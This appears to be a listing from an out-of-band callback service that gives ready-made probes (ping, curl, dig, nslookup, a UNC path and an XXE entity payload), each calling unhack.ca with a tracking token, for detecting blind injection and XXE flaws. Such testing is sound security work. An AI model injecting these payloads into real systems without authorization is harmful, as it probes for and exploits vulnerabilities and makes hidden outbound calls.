$ ping -c1 -p 005812718d3ba302a506c9cce6661d00 unhack.ca
 

$ curl http://unhack.ca/p/5812718d3ba302a506c9cce6661d
 

$ dig 5812718d3ba302a506c9cce6661d @unhack.ca
 

$ dig 5812718d3ba302a506c9cce6661d.ns.unhack.ca
 

C:\> nslookup 5812718d3ba302a506c9cce6661d unhack.ca
 

C:\> type \\unhack.ca\5812718d3ba302a506c9cce6661d\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/5812718d3ba302a506c9cce6661d">]>
    <foo>&xxe;</foo>